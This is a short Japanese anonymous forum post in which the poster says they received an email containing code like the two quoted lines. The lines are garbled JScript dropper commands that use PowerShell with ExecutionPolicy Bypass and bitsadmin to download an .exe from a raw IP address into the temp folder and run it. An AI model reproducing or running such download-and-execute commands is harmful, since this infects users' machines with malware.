0001風吹けば名無し
2023/01/08(日) 05:20:28.28ID:a/XkvmM30JsRan.Run("cmd.exe/c PowerShell-Execut ionPolicy Bypass(new-object system.net.webclient.downloaFile("http://217.217.8.117.63/jper.exe"."%\\7276467)start-process"%tem%\\7276467.exe",false);
JsRun.Run("cmd.exe/c bitsadmin/transfer getitman /downlod/hing http://217.8.117.8.117.63/jper.exe"."%\\5737263.exe&start%temp%\\5737263.exe",false);
こんな感じのコードが書かれてるメールが送られてきた( ̄▽ ̄;)